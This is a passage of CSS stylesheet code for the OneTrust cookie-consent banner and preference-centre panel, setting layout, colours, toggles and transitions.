        transform: translateY(0) !important;
    }
   
}
@media only screen and (min-width: 1280px) {
    #onetrust-button-group{
        display: flex !important;
        flex-direction: row-reverse !important;
    }
    #onetrust-banner-sdk:not(.ot-iab-2) #onetrust-button-group-parent {
        width: 44% !important;
    }
}#onetrust-pc-sdk.otPcCenter{overflow:hidden;position:fixed;margin:0 auto;top:5%;right:0;left:0;width:40%;max-width:575px;min-width:575px;border-radius:2.5px;z-index:2147483647;background-color:#fff;-webkit-box-shadow:0px 2px 10px -3px #999;-moz-box-shadow:0px 2px 10px -3px #999;box-shadow:0px 2px 10px -3px #999}#onetrust-pc-sdk.otPcCenter[dir=rtl]{right:0;left:0}#onetrust-pc-sdk.otRelFont{font-size:1rem}#onetrust-pc-sdk .ot-optout-signal{margin-top:.625rem}#onetrust-pc-sdk #ot-addtl-venlst .ot-arw-cntr,#onetrust-pc-sdk #ot-addtl-venlst .ot-plus-minus,#onetrust-pc-sdk .ot-hide-tgl{visibility:hidden}#onetrust-pc-sdk #ot-addtl-venlst .ot-arw-cntr *,#onetrust-pc-sdk #ot-addtl-venlst .ot-plus-minus *,#onetrust-pc-sdk .ot-hide-tgl *{visibility:hidden}#onetrust-pc-sdk #ot-gn-venlst .ot-ven-item .ot-acc-hdr{min-height:40px}#onetrust-pc-sdk .ot-pc-header{height:39px;padding:10px 0 10px 30px;border-bottom:1px solid #e9e9e9}#onetrust-pc-sdk #ot-pc-title,#onetrust-pc-sdk #ot-category-title,#onetrust-pc-sdk .ot-cat-header,#onetrust-pc-sdk #ot-lst-title,#onetrust-pc-sdk .ot-ven-hdr .ot-ven-name,#onetrust-pc-sdk .ot-always-active{font-weight:bold;color:dimgray}#onetrust-pc-sdk .ot-always-active-group .ot-cat-header{width:55%;font-weight:700}#onetrust-pc-sdk .ot-cat-item p{clear:both;float:left;margin-top:10px;margin-bottom:5px;line-height:1.5;font-size:.812em;color:dimgray}#onetrust-pc-sdk .ot-close-icon{height:44px;width:44px;background-size:10px}#onetrust-pc-sdk #ot-pc-title{float:left;font-size:1em;line-height:1.5;margin-bottom:10px;margin-top:10px;width:100%}#onetrust-pc-sdk #accept-recommended-btn-handler{margin-right:10px;margin-bottom:25px;outline-offset:-1px}#onetrust-pc-sdk #ot-pc-desc{clear:both;width:100%;font-size:.812em;line-height:1.5;margin-bottom:25px}#onetrust-pc-sdk #ot-pc-desc a{margin-left:5px}#onetrust-pc-sdk #ot-pc-desc *{font-size:inherit;line-height:inherit}#onetrust-pc-sdk #ot-pc-desc ul li{padding:10px 0px}#onetrust-pc-sdk a{color:#656565;cursor:pointer}#onetrust-pc-sdk a:hover{color:#3860be}#onetrust-pc-sdk label{margin-bottom:0}#onetrust-pc-sdk #vdr-lst-dsc{font-size:.812em;line-height:1.5;padding:10px 15px 5px 15px}#onetrust-pc-sdk button{max-width:394px;padding:12px 30px;line-height:1;word-break:break-word;word-wrap:break-word;white-space:normal;font-weight:bold;height:auto}#onetrust-pc-sdk .ot-link-btn{padding:0;margin-bottom:0;border:0;font-weight:normal;line-height:normal;width:auto;height:auto}#onetrust-pc-sdk #ot-pc-content{position:absolute;overflow-y:scroll;padding-left:0px;padding-right:30px;top:60px;bottom:110px;margin:1px 3px 0 30px;width:calc(100% - 63px)}#onetrust-pc-sdk .ot-vs-list .ot-always-active,#onetrust-pc-sdk .ot-cat-grp .ot-always-active{float:right;clear:none;color:#3860be;margin:0;font-size:.813em;line-height:1.3}#onetrust-pc-sdk .ot-pc-scrollbar::-webkit-scrollbar-track{margin-right:20px}#onetrust-pc-sdk .ot-pc-scrollbar::-webkit-scrollbar{width:11px}#onetrust-pc-sdk .ot-pc-scrollbar::-webkit-scrollbar-thumb{border-radius:10px;background:#d8d8d8}#onetrust-pc-sdk input[type=checkbox]:focus+.ot-acc-hdr{outline:#000 1px solid}#onetrust-pc-sdk .ot-pc-scrollbar{scrollbar-arrow-color:#d8d8d8;scrollbar-darkshadow-color:#d8d8d8;scrollbar-face-color:#d8d8d8;scrollbar-shadow-color:#d8d8d8}#onetrust-pc-sdk .save-preference-btn-handler{margin-right:20px}#onetrust-pc-sdk .ot-pc-refuse-all-handler{margin-right:10px}#onetrust-pc-sdk #ot-pc-desc .privacy-notice-link{margin-left:0;margin-right:8px}#onetrust-pc-sdk #ot-pc-desc .ot-imprint-handler{margin-left:0;margin-right:8px}#onetrust-pc-sdk .ot-subgrp-cntr{display:inline-block;clear:both;width:100%;padding-top:15px}#onetrust-pc-sdk .ot-switch+.ot-subgrp-cntr{padding-top:10px}#onetrust-pc-sdk ul.ot-subgrps{margin:0;font-size:initial}#onetrust-pc-sdk ul.ot-subgrps li p,#onetrust-pc-sdk ul.ot-subgrps li h5{font-size:.813em;line-height:1.4;color:dimgray}#onetrust-pc-sdk ul.ot-subgrps .ot-switch{min-height:auto}#onetrust-pc-sdk ul.ot-subgrps .ot-switch-nob{top:0}#onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr{display:inline-block;width:100%}#onetrust-pc-sdk ul.ot-subgrps .ot-acc-txt{margin:0}#onetrust-pc-sdk ul.ot-subgrps li{padding:0;border:none}#onetrust-pc-sdk ul.ot-subgrps li h5{position:relative;top:5px;font-weight:bold;margin-bottom:0;float:left}#onetrust-pc-sdk li.ot-subgrp{margin-left:20px;overflow:auto}#onetrust-pc-sdk li.ot-subgrp>h5{width:calc(100% - 100px)}#onetrust-pc-sdk .ot-cat-item p>ul,#onetrust-pc-sdk li.ot-subgrp p>ul{margin:0px;list-style:disc;margin-left:15px;font-size:inherit}#onetrust-pc-sdk .ot-cat-item p>ul li,#onetrust-pc-sdk li.ot-subgrp p>ul li{font-size:inherit;padding-top:10px;padding-left:0px;padding-right:0px;border:none}#onetrust-pc-sdk .ot-cat-item p>ul li:last-child,#onetrust-pc-sdk li.ot-subgrp p>ul li:last-child{padding-bottom:10px}#onetrust-pc-sdk .ot-pc-logo{height:40px;width:120px}#onetrust-pc-sdk .ot-pc-footer{position:absolute;bottom:0px;width:100%;max-height:160px;border-top:1px solid #d8d8d8}#onetrust-pc-sdk.ot-ftr-stacked .ot-pc-refuse-all-handler{margin-bottom:0px}#onetrust-pc-sdk.ot-ftr-stacked #ot-pc-content{bottom:160px}#onetrust-pc-sdk.ot-ftr-stacked .ot-pc-footer button{width:100%;max-width:none}#onetrust-pc-sdk.ot-ftr-stacked .ot-btn-container{margin:0 30px;width:calc(100% - 60px);padding-right:0}#onetrust-pc-sdk .ot-pc-footer-logo{height:30px;width:100%;text-align:right;background:#f4f4f4}#onetrust-pc-sdk .ot-pc-footer-logo a{display:inline-block;margin-top:5px;margin-right:10px}#onetrust-pc-sdk[dir=rtl] .ot-pc-footer-logo{direction:rtl}#onetrust-pc-sdk[dir=rtl] .ot-pc-footer-logo a{margin-right:25px}#onetrust-pc-sdk .ot-tgl{float:right;position:relative;z-index:1}#onetrust-pc-sdk .ot-tgl input:checked+.ot-switch .ot-switch-nob{background-color:#468254;border:1px solid #fff}#onetrust-pc-sdk .ot-tgl input:checked+.ot-switch .ot-switch-nob:before{-webkit-transform:translateX(20px);-ms-transform:translateX(20px);transform:translateX(20px);background-color:#fff;border-color:#fff}#onetrust-pc-sdk .ot-tgl input:focus+.ot-switch{outline:#000 solid 1px}#onetrust-pc-sdk .ot-switch{position:relative;display:inline-block;width:45px;height:25px}#onetrust-pc-sdk .ot-switch-nob{position:absolute;cursor:pointer;top:0;left:0;right:0;bottom:0;background-color:#767676;border:1px solid #ddd;transition:all .2s ease-in 0s;-moz-transition:all .2s ease-in 0s;-o-transition:all .2s ease-in 0s;-webkit-transition:all .2s ease-in 0s;border-radius:20px}#onetrust-pc-sdk .ot-switch-nob:before{position:absolute;content:"";height:18px;width:18px;bottom:3px;left:3px;background-color:#fff;-webkit-transition:.4s;transition:.4s;border-radius:20px}#onetrust-pc-sdk .ot-chkbox input:checked~label::before{background-color:#3860be}#onetrust-pc-sdk .ot-chkbox input+label::after{content:none;color:#fff}#onetrust-pc-sdk .ot-chkbox input:checked+label::after{content:""}#onetrust-pc-sdk .ot-chkbox input:focus+label::before{outline-style:solid;outline-width:2px;outline-style:auto}#onetrust-pc-sdk .ot-chkbox label{position:relative;display:inline-block;padding-left:30px;cursor:pointer;font-weight:500}#onetrust-pc-sdk .ot-chkbox label::before,#onetrust-pc-sdk .ot-chkbox label::after{position:absolute;content:"";display:inline-block;border-radius:3px}#onetrust-pc-sdk .ot-chkbox label::before{height:18px;width:18px;border:1px solid #3860be;left:0px;top:auto}#onetrust-pc-sdk .ot-chkbox label::after{height:5px;width:9px;border-left:3px solid;border-bottom:3px solid;transform:rotate(-45deg);-o-transform:rotate(-45deg);-ms-transform:rotate(-45deg);-webkit-transform:rotate(-45deg);left:4px;top:5px}#onetrust-pc-sdk .ot-label-txt{display:none}#onetrust-pc-sdk .ot-chkbox input,#onetrust-pc-sdk .ot-tgl input{position:absolute;opacity:0;width:0;height:0}#onetrust-pc-sdk .ot-arw-cntr{float:right;position:relative;pointer-events:none}#onetrust-pc-sdk .ot-arw-cntr .ot-arw{width:16px;height:16px;margin-left:5px;color:dimgray;display:inline-block;vertical-align:middle;-webkit-transition:all 150ms ease-in 0s;-moz-transition:all 150ms ease-in 0s;-o-transition:all 150ms ease-in 0s;transition:all 150ms ease-in 0s}#onetrust-pc-sdk input:checked~.ot-acc-hdr .ot-arw,#onetrust-pc-sdk button[aria-expanded=true]~.ot-acc-hdr .ot-arw-cntr svg{transform:rotate(90deg);-o-transform:rotate(90deg);-ms-transform:rotate(90deg);-webkit-transform:rotate(90deg)}#onetrust-pc-sdk input[type=checkbox]:focus+.ot-acc-hdr{outline:#000 1px solid}#onetrust-pc-sdk .ot-tgl-cntr,#onetrust-pc-sdk .ot-arw-cntr{display:inline-block}#onetrust-pc-sdk .ot-tgl-cntr{width:45px;float:right;margin-top:2px}#onetrust-pc-sdk #ot-lst-cnt .ot-tgl-cntr{margin-top:10px}#onetrust-pc-sdk .ot-always-active-subgroup{width:auto;padding-left:0px !important;top:3px;position:relative}#onetrust-pc-sdk .ot-label-status{padding-left:5px;font-size:.75em;display:none}#onetrust-pc-sdk .ot-arw-cntr{margin-top:-1px}#onetrust-pc-sdk .ot-arw-cntr svg{-webkit-transition:all 300ms ease-in 0s;-moz-transition:all 300ms ease-in 0s;-o-transition:all 300ms ease-in 0s;transition:all 300ms ease-in 0s;height:10px;width:10px}#onetrust-pc-sdk input:checked~.ot-acc-hdr .ot-arw{transform:rotate(90deg);-o-transform:rotate(90deg);-ms-transform:rotate(90deg);-webkit-transform:rotate(90deg)}#onetrust-pc-sdk .ot-arw{width:10px;margin-left:15px;transition:all 300ms ease-in 0s;-webkit-transition:all 300ms ease-in 0s;-moz-transition:all 300ms ease-in 0s;-o-transition:all 300ms ease-in 0s}#onetrust-pc-sdk .ot-vlst-cntr{margin-bottom:0}#onetrust-pc-sdk .ot-hlst-cntr{margin-top:5px;display:inline-block;width:100%}#onetrust-pc-sdk .category-vendors-list-handler,#onetrust-pc-sdk .category-vendors-list-handler+a,#onetrust-pc-sdk .category-host-list-handler{clear:both;color:#3860be;margin-left:0;font-size:.813em;text-decoration:none;float:left;overflow:hidden}#onetrust-pc-sdk .category-vendors-list-handler:hover,#onetrust-pc-sdk .category-vendors-list-handler+a:hover,#onetrust-pc-sdk .category-host-list-handler:hover{text-decoration-line:underline}#onetrust-pc-sdk .category-vendors-list-handler+a{clear:none}#onetrust-pc-sdk .ot-vlst-cntr .ot-ext-lnk,#onetrust-pc-sdk .ot-ven-hdr .ot-ext-lnk{display:inline-block;height:13px;width:13px;background-repeat:no-repeat;margin-left:1px;margin-top:6px;cursor:pointer}#onetrust-pc-sdk .ot-ven-hdr .ot-ext-lnk{margin-bottom:-1px}#onetrust-pc-sdk .back-btn-handler{font-size:1em;text-decoration:none}#onetrust-pc-sdk .back-btn-handler:hover{opacity:.6}#onetrust-pc-sdk #ot-lst-title h3{display:inline-block;word-break:break-word;word-wrap:break-word;margin-bottom:0;color:#656565;font-size:1em;font-weight:bold;margin-left:15px}#onetrust-pc-sdk #ot-lst-title{margin:10px 0 10px 0px;font-size:1em;text-align:left}#onetrust-pc-sdk #ot-pc-hdr{margin:0 0 0 30px;height:auto;width:auto}#onetrust-pc-sdk #ot-pc-hdr input::placeholder{color:#d4d4d4;font-style:italic}#onetrust-pc-sdk #vendor-search-handler{height:31px;width:100%;border-radius:50px;font-size:.8em;padding-right:35px;padding-left:15px;float:left;margin-left:15px}#onetrust-pc-sdk .ot-ven-name{display:block;width:auto;padding-right:5px}#onetrust-pc-sdk #ot-lst-cnt{overflow-y:auto;margin-left:20px;margin-right:7px;width:calc(100% - 27px);max-height:calc(100% - 80px);height:100%;transform:translate3d(0, 0, 0)}#onetrust-pc-sdk #ot-pc-lst{width:100%;bottom:100px;position:absolute;top:60px}#onetrust-pc-sdk #ot-pc-lst:not(.ot-enbl-chr) .ot-tgl-cntr .ot-arw-cntr,#onetrust-pc-sdk #ot-pc-lst:not(.ot-enbl-chr) .ot-tgl-cntr .ot-arw-cntr *{visibility:hidden}#onetrust-pc-sdk #ot-pc-lst .ot-tgl-cntr{right:12px;position:absolute}#onetrust-pc-sdk #ot-pc-lst .ot-arw-cntr{float:right;position:relative}#onetrust-pc-sdk #ot-pc-lst .ot-arw{margin-left:10px}#onetrust-pc-sdk #ot-pc-lst .ot-acc-hdr{overflow:hidden;cursor:pointer}#onetrust-pc-sdk .ot-vlst-cntr{overflow:hidden}#onetrust-pc-sdk #ot-sel-blk{overflow:hidden;width:100%;position:sticky;position:-webkit-sticky;top:0;z-index:3}#onetrust-pc-sdk #ot-back-arw{height:12px;width:12px}#onetrust-pc-sdk .ot-lst-subhdr{width:100%;display:inline-block}#onetrust-pc-sdk .ot-search-cntr{float:left;width:78%;position:relative}#onetrust-pc-sdk .ot-search-cntr>svg{width:30px;height:30px;position:absolute;float:left;right:-15px}#onetrust-pc-sdk .ot-fltr-cntr{float:right;right:50px;position:relative}#onetrust-pc-sdk #filter-btn-handler{background-color:#3860be;border-radius:17px;display:inline-block;position:relative;width:32px;height:32px;-moz-transition:.1s ease;-o-transition:.1s ease;-webkit-transition:1s ease;transition:.1s ease;padding:0;margin:0}#onetrust-pc-sdk #filter-btn-handler:hover{background-color:#3860be}#onetrust-pc-sdk #filter-btn-handler svg{width:12px;height:12px;margin:3px 10px 0 10px;display:block;position:static;right:auto;top:auto}#onetrust-pc-sdk .ot-ven-link,#onetrust-pc-sdk .ot-ven-legclaim-link{color:#3860be;text-decoration:none;font-weight:100;display:inline-block;padding-top:10px;transform:translate(0, 1%);-o-transform:translate(0, 1%);-ms-transform:translate(0, 1%);-webkit-transform:translate(0, 1%);position:relative;z-index:2}#onetrust-pc-sdk .ot-ven-link *,#onetrust-pc-sdk .ot-ven-legclaim-link *{font-size:inherit}#onetrust-pc-sdk .ot-ven-link:hover,#onetrust-pc-sdk .ot-ven-legclaim-link:hover{text-decoration:underline}#onetrust-pc-sdk .ot-ven-hdr{width:calc(100% - 160px);height:auto;float:left;word-break:break-word;word-wrap:break-word;vertical-align:middle;padding-bottom:3px}#onetrust-pc-sdk .ot-ven-link,#onetrust-pc-sdk .ot-ven-legclaim-link{letter-spacing:.03em;font-size:.75em;font-weight:400}#onetrust-pc-sdk .ot-ven-dets{border-radius:2px;background-color:#f8f8f8}#onetrust-pc-sdk .ot-ven-dets li:first-child p:first-child{border-top:none}#onetrust-pc-sdk .ot-ven-dets .ot-ven-disc:not(:first-child){border-top:1px solid #ddd !important}#onetrust-pc-sdk .ot-ven-dets .ot-ven-disc:nth-child(n+3) p{display:inline-block}#onetrust-pc-sdk .ot-ven-dets .ot-ven-disc:nth-child(n+3) p:nth-of-type(odd){width:30%}#onetrust-pc-sdk .ot-ven-dets .ot-ven-disc:nth-child(n+3) p:nth-of-type(even){width:50%;word-break:break-word;word-wrap:break-word}#onetrust-pc-sdk .ot-ven-dets .ot-ven-disc p,#onetrust-pc-sdk .ot-ven-dets .ot-ven-disc h5{padding-top:5px;padding-bottom:5px;display:block}#onetrust-pc-sdk .ot-ven-dets .ot-ven-disc h5{display:inline-block}#onetrust-pc-sdk .ot-ven-dets .ot-ven-disc p:nth-last-child(-n+1){padding-bottom:10px}#onetrust-pc-sdk .ot-ven-dets .ot-ven-disc p:nth-child(-n+2):not(.disc-pur){padding-top:10px}#onetrust-pc-sdk .ot-ven-dets .ot-ven-disc .disc-pur-cont{display:inline}#onetrust-pc-sdk .ot-ven-dets .ot-ven-disc .disc-pur{position:relative;width:50% !important;word-break:break-word;word-wrap:break-word;left:calc(30% + 17px)}#onetrust-pc-sdk .ot-ven-dets .ot-ven-disc .disc-pur:nth-child(-n+1){position:static}#onetrust-pc-sdk .ot-ven-dets p,#onetrust-pc-sdk .ot-ven-dets h5,#onetrust-pc-sdk .ot-ven-dets span{font-size:.69em;text-align:left;vertical-align:middle;word-break:break-word;word-wrap:break-word;margin:0;padding-bottom:10px;padding-left:15px;color:#2e3644}#onetrust-pc-sdk .ot-ven-dets h5{padding-top:5px}#onetrust-pc-sdk .ot-ven-dets span{color:dimgray;padding:0;vertical-align:baseline}#onetrust-pc-sdk .ot-ven-dets .ot-ven-pur h5{border-top:1px solid #e9e9e9;border-bottom:1px solid #e9e9e9;padding-bottom:5px;margin-bottom:5px;font-weight:bold}#onetrust-pc-sdk #ot-host-lst .ot-sel-all{float:right;position:relative;margin-right:42px;top:10px}#onetrust-pc-sdk #ot-host-lst .ot-sel-all input[type=checkbox]{width:auto;height:auto}#onetrust-pc-sdk #ot-host-lst .ot-sel-all label{height:20px;width:20px;padding-left:0px}#onetrust-pc-sdk #ot-host-lst .ot-acc-txt{overflow:hidden;width:95%}#onetrust-pc-sdk .ot-host-hdr{position:relative;z-index:1;pointer-events:none;width:calc(100% - 125px);float:left}#onetrust-pc-sdk .ot-host-name,#onetrust-pc-sdk .ot-host-desc{display:inline-block;width:90%}#onetrust-pc-sdk .ot-host-name{pointer-events:none}#onetrust-pc-sdk .ot-host-hdr>a{text-decoration:underline;font-size:.82em;position:relative;z-index:2;float:left;margin-bottom:5px;pointer-events:initial}#onetrust-pc-sdk .ot-host-name+a{margin-top:5px}#onetrust-pc-sdk .ot-host-name,#onetrust-pc-sdk .ot-host-name a,#onetrust-pc-sdk .ot-host-desc,#onetrust-pc-sdk .ot-host-info{color:dimgray;word-break:break-word;word-wrap:break-word}#onetrust-pc-sdk .ot-host-name,#onetrust-pc-sdk .ot-host-name a{font-weight:bold;font-size:.82em;line-height:1.3}#onetrust-pc-sdk .ot-host-name a{font-size:1em}#onetrust-pc-sdk .ot-host-expand{margin-top:3px;margin-bottom:3px;clear:both;display:block;color:#3860be;font-size:.72em;font-weight:normal}#onetrust-pc-sdk .ot-host-expand *{font-size:inherit}#onetrust-pc-sdk .ot-host-desc,#onetrust-pc-sdk .ot-host-info{font-size:.688em;line-height:1.4;font-weight:normal}#onetrust-pc-sdk .ot-host-desc{margin-top:10px}#onetrust-pc-sdk .ot-host-opt{margin:0;font-size:inherit;display:inline-block;width:100%}#onetrust-pc-sdk .ot-host-opt li>div div{font-size:.8em;padding:5px 0}#onetrust-pc-sdk .ot-host-opt li>div div:nth-child(1){width:30%;float:left}#onetrust-pc-sdk .ot-host-opt li>div div:nth-child(2){width:70%;float:left;word-break:break-word;word-wrap:break-word}#onetrust-pc-sdk .ot-host-info{border:none;display:inline-block;width:calc(100% - 10px);padding:10px;margin-bottom:10px;background-color:#f8f8f8}#onetrust-pc-sdk .ot-host-info>div{overflow:auto}#onetrust-pc-sdk #no-results{text-align:center;margin-top:30px}#onetrust-pc-sdk #no-results p{font-size:1em;color:#2e3644;word-break:break-word;word-wrap:break-word}#onetrust-pc-sdk #no-results p span{font-weight:bold}#onetrust-pc-sdk #ot-fltr-modal{width:100%;height:auto;display:none;-moz-transition:.2s ease;-o-transition:.2s ease;-webkit-transition:2s ease;transition:.2s ease;overflow:hidden;opacity:1;right:0}#onetrust-pc-sdk #ot-fltr-modal .ot-label-txt{display:inline-block;font-size:.85em;color:dimgray}#onetrust-pc-sdk #ot-fltr-cnt{z-index:2147483646;background-color:#fff;position:absolute;height:90%;max-height:300px;width:325px;left:210px;margin-top:10px;margin-bottom:20px;padding-right:10px;border-radius:3px;-webkit-box-shadow:0px 0px 12px 2px #c7c5c7;-moz-box-shadow:0px 0px 12px 2px #c7c5c7;box-shadow:0px 0px 12px 2px #c7c5c7}#onetrust-pc-sdk .ot-fltr-scrlcnt{overflow-y:auto;overflow-x:hidden;clear:both;max-height:calc(100% - 60px)}#onetrust-pc-sdk #ot-anchor{border:12px solid rgba(0,0,0,0);display:none;position:absolute;z-index:2147483647;right:55px;top:75px;transform:rotate(45deg);-o-transform:rotate(45deg);-ms-transform:rotate(45deg);-webkit-transform:rotate(45deg);background-color:#fff;-webkit-box-shadow:-3px -3px 5px -2px #c7c5c7;-moz-box-shadow:-3px -3px 5px -2px #c7c5c7;box-shadow:-3px -3px 5px -2px #c7c5c7}#onetrust-pc-sdk .ot-fltr-btns{margin-left:15px}#onetrust-pc-sdk #filter-apply-handler{margin-right:15px}#onetrust-pc-sdk .ot-fltr-opt{margin-bottom:25px;margin-left:15px;width:75%;position:relative}#onetrust-pc-sdk .ot-fltr-opt p{display:inline-block;margin:0;font-size:.9em;color:#2e3644}#onetrust-pc-sdk .ot-chkbox label span{font-size:.85em;color:dimgray}#onetrust-pc-sdk .ot-chkbox input[type=checkbox]+label::after{content:none;color:#fff}#onetrust-pc-sdk .ot-chkbox input[type=checkbox]:checked+label::after{content:""}#onetrust-pc-sdk .ot-chkbox input[type=checkbox]:focus+label::before{outline-style:solid;outline-width:2px;outline-style:auto}#onetrust-pc-sdk #ot-selall-vencntr,#onetrust-pc-sdk #ot-selall-adtlvencntr,#onetrust-pc-sdk #ot-selall-hostcntr,#onetrust-pc-sdk #ot-selall-licntr,#onetrust-pc-sdk #ot-selall-gnvencntr{right:15px;position:relative;width:20px;height:20px;float:right}#onetrust-pc-sdk #ot-selall-vencntr label,#onetrust-pc-sdk #ot-selall-adtlvencntr label,#onetrust-pc-sdk #ot-selall-hostcntr label,#onetrust-pc-sdk #ot-selall-licntr label,#onetrust-pc-sdk #ot-selall-gnvencntr label{float:left;padding-left:0}#onetrust-pc-sdk #ot-ven-lst:first-child{border-top:1px solid #e2e2e2}#onetrust-pc-sdk ul{list-style:none;padding:0}#onetrust-pc-sdk ul li{position:relative;margin:0;padding:15px 15px 15px 10px;border-bottom:1px solid #e2e2e2}#onetrust-pc-sdk ul li h3,#onetrust-pc-sdk ul li h4{font-size:.75em;color:#656565;margin:0;display:inline-block;width:70%;height:auto;word-break:break-word;word-wrap:break-word}#onetrust-pc-sdk ul li p{margin:0;font-size:.7em}#onetrust-pc-sdk ul li input[type=checkbox]{position:absolute;cursor:pointer;width:100%;height:100%;opacity:0;margin:0;top:0;left:0}#onetrust-pc-sdk .ot-cat-item>button:focus,#onetrust-pc-sdk .ot-acc-cntr>button:focus,#onetrust-pc-sdk li>button:focus{outline:#000 solid 2px}#onetrust-pc-sdk .ot-cat-item>button,#onetrust-pc-sdk .ot-acc-cntr>button,#onetrust-pc-sdk li>button{position:absolute;cursor:pointer;width:100%;height:100%;margin:0;top:0;left:0;z-index:1;max-width:none;border:none}#onetrust-pc-sdk .ot-cat-item>button[aria-expanded=false]~.ot-acc-txt,#onetrust-pc-sdk .ot-acc-cntr>button[aria-expanded=false]~.ot-acc-txt,#onetrust-pc-sdk li>button[aria-expanded=false]~.ot-acc-txt{margin-top:0;max-height:0;opacity:0;overflow:hidden;width:100%;transition:.25s ease-out;display:none}#onetrust-pc-sdk .ot-cat-item>button[aria-expanded=true]~.ot-acc-txt,#onetrust-pc-sdk .ot-acc-cntr>button[aria-expanded=true]~.ot-acc-txt,#onetrust-pc-sdk li>button[aria-expanded=true]~.ot-acc-txt{transition:.1s ease-in;margin-top:10px;width:100%;overflow:auto;display:block}#onetrust-pc-sdk .ot-cat-item>button[aria-expanded=true]~.ot-acc-grpcntr,#onetrust-pc-sdk .ot-acc-cntr>button[aria-expanded=true]~.ot-acc-grpcntr,#onetrust-pc-sdk li>button[aria-expanded=true]~.ot-acc-grpcntr{width:auto;margin-top:0px;padding-bottom:10px}#onetrust-pc-sdk .ot-host-item>button:focus,#onetrust-pc-sdk .ot-ven-item>button:focus{outline:0;border:2px solid #000}#onetrust-pc-sdk .ot-hide-acc>button{pointer-events:none}#onetrust-pc-sdk .ot-hide-acc .ot-plus-minus>*,#onetrust-pc-sdk .ot-hide-acc .ot-arw-cntr>*{visibility:hidden}#onetrust-pc-sdk .ot-hide-acc .ot-acc-hdr{min-height:30px}#onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt){padding-right:10px;width:calc(100% - 37px);margin-top:10px;max-height:calc(100% - 90px)}#onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) #ot-sel-blk{background-color:#f9f9fc;border:1px solid #e2e2e2;width:calc(100% - 2px);padding-bottom:5px;padding-top:5px}#onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) #ot-sel-blk.ot-vnd-list-cnt{border:unset;background-color:unset}#onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) #ot-sel-blk.ot-vnd-list-cnt .ot-sel-all-hdr{display:none}#onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) #ot-sel-blk.ot-vnd-list-cnt .ot-sel-all{padding-right:.5rem}#onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) #ot-sel-blk.ot-vnd-list-cnt .ot-sel-all .ot-chkbox{right:0}#onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) .ot-sel-all{padding-right:34px}#onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) .ot-sel-all-chkbox{width:auto}#onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) ul li{border:1px solid #e2e2e2;margin-bottom:10px}#onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) .ot-acc-cntr>.ot-acc-hdr{padding:10px 0 10px 15px}#onetrust-pc-sdk.ot-addtl-vendors .ot-sel-all-chkbox{float:right}#onetrust-pc-sdk.ot-addtl-vendors .ot-plus-minus~.ot-sel-all-chkbox{right:34px}#onetrust-pc-sdk.ot-addtl-vendors #ot-ven-lst:first-child{border-top:none}#onetrust-pc-sdk .ot-acc-cntr{position:relative;border-left:1px solid #e2e2e2;border-right:1px solid #e2e2e2;border-bottom:1px solid #e2e2e2}#onetrust-pc-sdk .ot-acc-cntr input{z-index:1}#onetrust-pc-sdk .ot-acc-cntr>.ot-acc-hdr{background-color:#f9f9fc;padding:5px 0 5px 15px;width:auto}#onetrust-pc-sdk .ot-acc-cntr>.ot-acc-hdr .ot-plus-minus{vertical-align:middle;top:auto}#onetrust-pc-sdk .ot-acc-cntr>.ot-acc-hdr .ot-arw-cntr{right:10px}#onetrust-pc-sdk .ot-acc-cntr>.ot-acc-hdr input{z-index:2}#onetrust-pc-sdk .ot-acc-cntr.ot-add-tech .ot-acc-hdr{padding:10px 0 10px 15px}#onetrust-pc-sdk .ot-acc-cntr>input[type=checkbox]:checked~.ot-acc-hdr{border-bottom:1px solid #e2e2e2}#onetrust-pc-sdk .ot-acc-cntr>.ot-acc-txt{padding-left:10px;padding-right:10px}#onetrust-pc-sdk .ot-acc-cntr button[aria-expanded=true]~.ot-acc-txt{width:auto}#onetrust-pc-sdk .ot-acc-cntr .ot-addtl-venbox{display:none}#onetrust-pc-sdk .ot-vlst-cntr{margin-bottom:0;width:100%}#onetrust-pc-sdk .ot-vensec-title{font-size:.813em;vertical-align:middle;display:inline-block}#onetrust-pc-sdk .category-vendors-list-handler,#onetrust-pc-sdk .category-vendors-list-handler+a{margin-left:0;margin-top:10px}#onetrust-pc-sdk #ot-selall-vencntr.line-through label::after,#onetrust-pc-sdk #ot-selall-adtlvencntr.line-through label::after,#onetrust-pc-sdk #ot-selall-licntr.line-through label::after,#onetrust-pc-sdk #ot-selall-hostcntr.line-through label::after,#onetrust-pc-sdk #ot-selall-gnvencntr.line-through label::after{height:auto;border-left:0;transform:none;-o-transform:none;-ms-transform:none;-webkit-transform:none;left:5px;top:9px}#onetrust-pc-sdk #ot-category-title{float:left;padding-bottom:10px;font-size:1em;width:100%}#onetrust-pc-sdk .ot-cat-grp{margin-top:10px}#onetrust-pc-sdk .ot-cat-item{line-height:1.1;margin-top:10px;display:inline-block;width:100%}#onetrust-pc-sdk .ot-btn-container{text-align:right}#onetrust-pc-sdk .ot-btn-container button{display:inline-block;font-size:.75em;letter-spacing:.08em;margin-top:19px}#onetrust-pc-sdk #close-pc-btn-handler.ot-close-icon{position:absolute;top:10px;right:0;z-index:1;padding:0;background-color:rgba(0,0,0,0);border:none}#onetrust-pc-sdk #close-pc-btn-handler.ot-close-icon svg{display:block;height:10px;width:10px}#onetrust-pc-sdk #clear-filters-handler{margin-top:20px;margin-bottom:10px;float:right;max-width:200px;text-decoration:none;color:#3860be;font-size:.9em;font-weight:bold;background-color:rgba(0,0,0,0);border-color:rgba(0,0,0,0);padding:1px}#onetrust-pc-sdk #clear-filters-handler:hover{color:#2285f7}#onetrust-pc-sdk #clear-filters-handler:focus{outline:#000 solid 1px}#onetrust-pc-sdk .ot-enbl-chr h4~.ot-tgl,#onetrust-pc-sdk .ot-enbl-chr h4~.ot-always-active{right:45px}#onetrust-pc-sdk .ot-enbl-chr h4~.ot-tgl+.ot-tgl{right:120px}#onetrust-pc-sdk .ot-enbl-chr 